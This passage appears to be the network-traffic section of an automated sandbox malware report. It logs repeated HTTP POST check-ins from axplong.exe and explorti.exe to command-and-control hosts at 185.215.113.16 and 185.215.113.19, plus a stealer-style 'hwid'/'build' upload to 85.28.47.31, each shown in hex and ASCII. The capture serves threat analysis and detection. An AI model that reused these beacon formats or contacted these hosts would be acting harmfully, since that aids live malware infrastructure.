Jul 26, 2024 10:37:09.402230024 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFI Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 41 43 44 37 44 43 45 35 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="hwid"F6ACD7DCE5231817704571------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="build"sila------HJKKFIJKFCAKJJJKJKFI--
Jul 26, 2024 10:37:09.590503931 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49763	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:08.871787071 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:09.630676985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:09.637729883 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:09.884780884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49764	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:10.034492970 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:10.812069893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:10.814502001 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:11.921684980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:37:11.923296928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:37:11.923342943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:41.213876963 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:42.113970041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49765	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:10.325824022 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003002&unit=246122658369
Jul 26, 2024 10:37:11.921704054 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 10:37:11.923316956 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 10:37:11.923356056 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jul 26, 2024 10:40:41.415574074 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:40:42.207699060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49768	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:12.307390928 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:13.039274931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:13.109221935 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:13.495987892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49769	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:12.372288942 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:13.482527018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:13.495970964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:13.782145977 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:14.042460918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49772	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:14.614182949 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:15.277332067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:15.318826914 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:15.572629929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49780	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:14.833544016 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:15.467559099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:15.627902031 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:15.891863108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49785	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:15.960061073 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:16.649332047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:17.125874996 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:17.455775023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49789	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:17.097733021 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:17.592556953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:17.766453981 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:18.012451887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:50.742108107 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:51.539725065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49797	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:18.034503937 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:18.752317905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:18.943063974 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:19.222426891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

